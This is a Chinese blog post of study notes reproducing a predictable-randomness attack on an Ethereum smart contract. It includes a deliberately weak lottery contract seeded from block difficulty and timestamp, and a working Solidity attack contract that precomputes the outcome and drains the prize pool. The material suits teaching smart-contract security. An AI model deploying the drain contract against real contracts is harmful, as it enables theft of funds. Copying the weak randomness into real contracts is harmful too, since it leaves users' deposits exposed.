IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 区块链 -> 智能合约学习笔记--随机数攻击复现 -> 正文阅读

[区块链]智能合约学习笔记--随机数攻击复现

智能合约中的随机数

在智能合约中随机数经常被用到,但是我们知道,这些生成的随机数都是伪随机数,当生成的随机数不是足够安全的时候就会产生漏洞。随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测智能合约的随机数。

目前来说常见的随机数获取有两种:使用区块变量生成随机数使用预言机来生成随机数

关于使用区块变量生成随机数,需要用到区块中的函数,并用区块变量作为参数来生成随机数。由区块数据生成的随机数可能会限制普通用户预测随机数的可能性,但是并不能限制矿工作恶,矿工可以决定一个区块是否被广播,他们挖出了一个区块不是一定要广播出去也可以直接扔掉,这个就叫矿工的选择性打包。他们可以持续尝试生成随机数,直至得到想要的结果再广播出去。当然,矿工会这样做的前提是有足够的的利益诱惑,例如可以获得一个很大的奖励池中的奖励,因此使用区块变量获取随机数的方法更适合于一些随机数不属于核心业务的应用。

关于使用预言机来生成随机数,预言机是专门为生成随机数种子而搭建的链上或者链下的服务。除了使用第三方服务,也可以由 DApp 开发商自己搭建一个链下服务提供随机数,这种在链上获取链下数据的场景通常是通过链上预言机的方式来实现。这种方法的安全性依赖第三方,所以同样存在安全风险。

在僵尸工厂中,一开始产生僵尸的dna就属于区块变量生成随机数,根据僵尸的名字进行哈希,最后取合适位数作为该僵尸的dna,这里用到的是Ethereum 内部的一个散列函数keccak256,它用了SHA3版本。一个散列函数基本上就是把一个字符串转换为一个256位的16进制数字。字符串的一个微小变化会引起散列数据极大变化。这在 Ethereum 中有很多应用,但是现在我们只是用它造一个伪随机数。虽然这里生成的随机数并不是真随机数,但是安全性足够了并不会造成什么影响,所以这里可以用这种方法生成随机数。

但是有的合约中,随机数的安全性非常重要,当使用可被预测的随机数种子生成随机数的时候,一旦随机数生成的算法被攻击者猜测到,或通过逆向等其他方式拿到,攻击者就可以根据随机数的生成算法,预测游戏即将出现的随机数,实现随机数预测,达到攻击目的。

示例:

猜数字游戏合约

游戏玩家随时可以调用一个合约函数 mint(),这时 mint 函数内会产生一个随机数。
如果这个随机数是奇数的话,就表示此次调用中奖了,合约将给予游戏玩家一定的奖励。
如果这个随机数是偶数,就表示没有中奖。

被攻击者合约 Random,一句一注释版本:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Random {
    event Log(string); //事件Log
    mapping (uint256 => bool) tokenId_luckys; //映射tokenId_luckys,用于存储

    // 生成随机数确定是否中奖,如果中奖则转账给中奖者
    function mint() public payable returns(bool){//原本没有输出,为了方便理解加上了
        bool randLucky = _getRandom(); //调用函数生成随机数,返回是否中奖
        uint256 token_Id = _totalMinted(); //初始值1
        tokenId_luckys[token_Id] = randLucky; //存入映射
        if (tokenId_luckys[token_Id] == true){//判断是否中奖
            /*
            // 原始代码:中奖逻辑,中奖者奖励1.9倍
            require(payable(msg.sender).send((price * 190) / 100));
            require(payable(widthdrawAddress).send((price * 10) / 100));
            */

            // 测试代码
            require(payable(msg.sender).send(1 ether));//向获奖账户支付一个ether           
        }
        return randLucky;
    }

    function _getRandom() private view returns(bool){
        uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));//使用区块变量生成随机数
        uint256 rand = random % 2;//取随机数的末位
        if(rand == 0){//如果是偶数则值为false,否则为true
            return false;
        }
      	else {
            return true;
        }
    }
    // 查看奖池余额
    function getBalance() external view returns(uint256) {
        return address(this).balance;
    }

    function _totalMinted() private pure returns(uint256) {//只能在合约内部被调用的私有函数
        return 1;
    }

    // 设置部署时可以转入 eth
    constructor() payable{}
}

在线编译器进行编译、部署
先放进去2个ether
在这里插入图片描述
运行尝试,
发现生成的是奇数,账户里的ether减少了1
在这里插入图片描述在这里插入图片描述
继续运行,发现生成了一个偶数,余额不变
在这里插入图片描述
在这里插入图片描述

攻击者合约 Attack

可以看出,这个游戏是必须要求生成的随机数是不可预测的。
但是这里用了使用区块链变量来生成随机数的算法,这里生成是随机数变成了可以被攻击者预测到的,这就使得这个游戏是不安全的,甚至有账户金额被清空的风险。

攻击目标合约函数 attack(address _random) ,参数是攻击目标合约的地址
使用了一个死循环,不断判断目标合约的余额,直至取光里面所有的 Eth。
循环过程中,计算由当前区块的难度值和时间戳产生的哈希值,如果不符合要求,就返回等待下一个区块。
如果符合要求,调用目标合约的mint函数,保证中奖,取走奖金。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    event Log(string);

    // 攻击目标合约,参数是目标合约地址
    function attack(address _random) external payable {
        for (;;) {//死循环
            // 判断攻击目标合约的余额,如果小于 1 个 ether,表示取光,就返回
            if (payable(_random).balance < 1) {
                emit Log("All have been taken out");
                return;
            }
            // 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数
            // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块
            if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
                emit Log("failed to get rand, wait 10 seconds");//接口输出
                return;
            }

            // 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的mint函数,获取奖励
            (bool ok,) = _random.call(abi.encodeWithSignature("mint()"));
            if( !ok ){
                emit Log("failed to call mint()");
                return;
            }
            else{
                emit Log("succeeded getting eth");
            }
        }   
    }

    // 查看获利余额
    function getBalance() external view returns(uint256) {
        return address(this).balance;
    }    

    // 接收攻击获得的Eth
    receive() external payable {}
}

攻击合约者 Attack 调用目标合约 Random 的方法时,由于两者处于同一个区块,所以当前区块的 difficulty 和 timestamp 在两个合约中完全相同。于是,攻击者合约 Attack 使用相同的算法,预先计算出随机数,判断能否中奖。如果能够中奖,再调用目标合约 Random,那么肯定能够得到奖励。如果不能中奖,就等待几秒钟,当区块链的下一个区块生成时,再进行测试。

所以,攻击者合约能够事先预知结果,最终会把奖池撸光。

部署实验的时候可以先不进行循环,代码可以改为

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    event Log(string);

    function attack(address _random) external payable {
        if (payable(_random).balance < 1){
            emit Log("All have been taken out");
        }
        else{
            if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
                emit Log("failed to get rand, wait 10 seconds");
            }
            else{
                (bool ok,) = _random.call(abi.encodeWithSignature("mint()"));
                if( !ok ){
                    emit Log("failed to call mint()");
                }
                else{
                    emit Log("succeeded getting eth");
                }
            }
        }
    }

    // 查看获利余额
    function getBalance() external view returns(uint256) {
        return address(this).balance;
    }    

    // 接收攻击获得的Eth
    receive() external payable {}
}

编译部署随机数游戏,并在奖池中存入1个ether
然后编译部署攻击合约,将游戏合约的地址作为参数传入,运行攻击函数

因为不是循环,所以又可能会发生几种情况,
当产生的是偶数时,会返回在这里插入图片描述
当产生的是奇数时,会去调用游戏函数,赢得ether
在这里插入图片描述
另外一种情况会返回游戏合约调用失败,这可能是因为输入的合约地址不正确
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rozsUdaR-1665656026143)(https://im正确g-blog.csdnimg.cn/f92e7f6039534f3e99797e0a0cf8a3dc.png)]

最后一种情况是,奖池中的币已经被取完
在这里插入图片描述
不足:通过地址调用另一个合约里的函数没有写好

参考:http://www.codebaoku.com/smartcontract/smartcontract-random.html

  区块链 最新文章
盘点具备盈利潜力的几大加密板块,以及潜在
阅读笔记|让区块空间成为商品,打造Web3云
区块链1.0-比特币的数据结构
Team Finance被黑分析|黑客自建Token“瞒天
区块链≠绿色?波卡或成 Web3“生态环保”标
期货从入门到高深之手动交易系列D1课
以太坊基础---区块验证
进入以太坊合并的五个数字
经典同态加密算法Paillier解读 - 原理、实现
IPFS/Filecoin学习知识科普(四)
上一篇文章      下一篇文章      查看所有文章
加:2022-10-22 21:20:53  更:2022-10-22 21:22:07 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年2日历 -2024/2/29 6:36:13-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码